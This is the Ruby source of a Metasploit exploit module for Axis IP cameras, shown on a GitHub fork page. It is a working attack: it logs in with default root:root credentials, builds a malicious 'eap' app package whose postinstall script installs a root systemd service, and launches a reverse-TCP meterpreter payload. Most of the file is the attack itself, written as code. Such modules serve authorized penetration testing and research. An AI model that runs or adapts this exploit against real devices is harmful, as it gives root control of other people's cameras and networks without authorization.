forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathaxis_app_install.rb
More file actions
252 lines (225 loc) · 10.7 KB
/
axis_app_install.rb
File metadata and controls
252 lines (225 loc) · 10.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Axis IP Camera Application Upload',
'Description' => %q{
This module exploits the "Apps" feature in Axis IP cameras. The feature allows third party
developers to upload and execute 'eap' applications on the device. The system does not validate
the application comes from a trusted source, so a malicious attacker can upload and execute
arbitrary code. The issue has no CVE, although the technique was made public in 2018.
This module uploads and executes stageless meterpreter as `root`. Uploading the application
requires valid credentials. The default administrator credentials used to be `root:root` but
newer firmware versions force users to provide a new password for the `root` user.
The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021).
Although all modules that support the "Apps" feature are presumed to be vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Discovery and Metasploit module
],
'References' => [
[ 'URL', 'https://www.tenable.com/blog/tenable-research-advisory-axis-camera-app-malicious-package-distribution-weakness'],
[ 'URL', 'https://www.axis.com/support/developer-support/axis-camera-application-platform']
],
'DisclosureDate' => '2018-04-12',
'Privileged' => true,
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {},
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' # Use stagless payloads until issue 16107 gets addressed to fix the ARMLE stager
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'root']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'root'])
])
end
# Check function will attempt to verify:
#
# 1. The provided credentials work for authentication
# 2. The remote target is an axis camera
# 3. The applications API exists.
#
def check
# grab the brand/model. Shouldn't require authentication.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/axis-cgi/prod_brand_info/getbrand.cgi')
})
return CheckCode::Unknown('Could not determine the target status') unless res && (res.code == 200)
body_json = res.get_json_document
return CheckCode::Unknown('Could not determine the target status') if body_json.empty? || body_json.dig('Brand', 'ProdShortName').nil?
# The brand / model are now known
check_comment = "The target reports itself to be a '#{body_json.dig('Brand', 'ProdShortName')}'."
# check to see if the applications api exists (also tests credentials)
res = send_request_cgi({
'method' => 'GET',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'uri' => normalize_uri(target_uri.path, '/axis-cgi/applications/list.cgi')
})
# A strange edge case where there is no response... respond detected
return CheckCode::Detected('The target service was detected') unless res
# Respond safe if credentials fail, to prevent the exploit from running
return CheckCode::Safe('The user provided credentials did not work.') if res.code == 401
# Assume any non-200 means the API doesn't exist
return CheckCode::Safe(check_comment) if res.code != 200
# This checks for an XML response which I'm not sure is smart considering most of the device
# does JSON replies... the concerning being that this response has changed in newer models
return CheckCode::Safe(check_comment) unless res.body.include?('<reply result="ok">') != 200
CheckCode::Appears(check_comment)
end
# Creates a malicious "eap" application. The package application will gain execution
# through the postinstall script. The script, which executes as a systemd oneshot, will
# create and execute a new service for the payload. We have to do this because the oneshot
# child processes will be terminated when the main binary exits. Executing the payload from
# a new service gets around that issue.
#
# The eap registers as a "lua" apptype, because the binary version (armv7hf) gets checked
# for some required libraries whereas the lua version is just accepted.
#
# The construction of the eap follows this pattern:
# * tar -cf exploit payload package.conf postinstall.sh payload.service
# * gzip exploit
# * mv exploit.gz exploit.eap
def create_eap(payload, appname)
print_status("Creating an application package named: #{appname}")
script_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.sh"
package_conf = "PACKAGENAME='#{Rex::Text.rand_text_alpha(4..14)}'\n" \
"APPTYPE='lua'\n" \
"APPNAME='#{appname}'\n" \
"APPID='48#{Rex::Text.rand_text_numeric(3)}'\n" \
"APPMAJORVERSION='#{Rex::Text.rand_text_numeric(1)}'\n" \
"APPMINORVERSION='#{Rex::Text.rand_text_numeric(1..2)}'\n" \
"APPMICROVERSION='#{Rex::Text.rand_text_numeric(1..3)}'\n" \
"APPGRP='root'\n" \
"APPUSR='root'\n" \
"POSTINSTALLSCRIPT='#{script_name}'\n" \
"STARTMODE='respawn'\n"
# this sync, sleep, cp, sleep pattern is not optimal, but the underlying
# filesystem was taking time to catch up to the exploit (and mounting and
# unmounting itself which is just weird) and this seemed like a reasonable,
# if not hacky, way to give it a chance to catch up. Seems to work well.
start_service =
"#!/bin/sh\n"\
"\nsync\n"\
"\nsleep 2\n"\
"\ncp ./#{appname}.service /etc/systemd/system/\n" \
"\nsleep 2\n"\
"\nsystemctl start #{appname}\n"
# only register the service file for deletion. Everything else will be
# deleted by the uninstall function called later.
register_file_for_cleanup("/etc/systemd/system/#{appname}.service")
service =
"[Unit]\n"\
"Description=\n"\
"[Service]\n"\
"Type=simple\n"\
"User=root\n"\
"ExecStart=/usr/local/packages/#{appname}/#{appname}\n"\
"\n"\
"[Install]\n"\
"WantedBy=multi-user.target\n"
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file('package.conf', 0o644) do |io|
io.write package_conf
end
tar.add_file(script_name.to_s, 0o755) do |io|
io.write start_service
end
tar.add_file(appname.to_s, 0o755) do |io|
io.write payload
end
tar.add_file("#{appname}.service", 0o644) do |io|
io.write service
end
end
tarfile.rewind
tarfile.close
Rex::Text.gzip(tarfile.string)
end
# Upload the malicious EAP application for a root shell. Always attempt to uninstall the application
def exploit
appname = Rex::Text.rand_text_alpha_lower(3)
eap = create_eap(payload.encoded, appname)
# Instruct the application to install the constructed EAP
multipart_form = Rex::MIME::Message.new
multipart_form.add_part('{"apiVersion":"1.0","method":"install"}', 'application/json', nil, 'form-data; name="data"; filename="blob"')
multipart_form.add_part(eap, 'application/octet-stream', 'binary', "form-data; name=\"fileData\"; filename=\"#{appname}.eap\"")
install_endpoint = normalize_uri(target_uri.path, '/axis-cgi/packagemanager.cgi')
print_status("Sending an application upload request to #{install_endpoint}")
res = send_request_cgi({
'method' => 'POST',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'uri' => install_endpoint,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
})
# check for successful installation
fail_with(Failure::Disconnected, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 OK: #{res.code}") unless res.code == 200
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'Missing JSON response') if body_json.empty?
# {"apiVersion"=>"1.4", "method"=>"install", "error"=>{"code"=>60, "message"=>"Failed to install acap"}}
fail_with(Failure::UnexpectedReply, 'The target responded with a JSON error') unless body_json['error'].nil?
# syncing the unstaged meterpreter payload seems to take a little bit for the poor little
# embedded filesystem. Give it a chance to sync up before we try to remove the application.
print_good('Application installed. Pausing 5 seconds to let the filesystem sync.')
sleep(5)
ensure
uninstall_endpoint = normalize_uri(target_uri.path, '/axis-cgi/applications/control.cgi')
print_status("Sending a delete application request to #{uninstall_endpoint}")
res = send_request_cgi({
'method' => 'GET',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'uri' => uninstall_endpoint,
'vars_get' => {
'action' => 'remove',
'package' => appname.to_s
}
})
# instructions for manually removal if the above fails. That should never happen, but best be safe.
removal_instructions = 'To manually remove the application, log in to the system and then select the apps tab. ' \
"Find the app named '#{appname}' and select it. Click the trash bin icon to uninstall it."
# check for successful removal
print_bad("The server did not respond to the application deletion request. #{removal_instructions}") unless res
print_bad("The server did not respond with 200 OK to the application deletion request. #{removal_instructions}") unless res.code == 200
print_bad("The application deletion response did not contain the expected body. #{removal_instructions}") unless res.body.include?('OK')
print_good("The application #{appname} was successfully removed from the target!")
end
end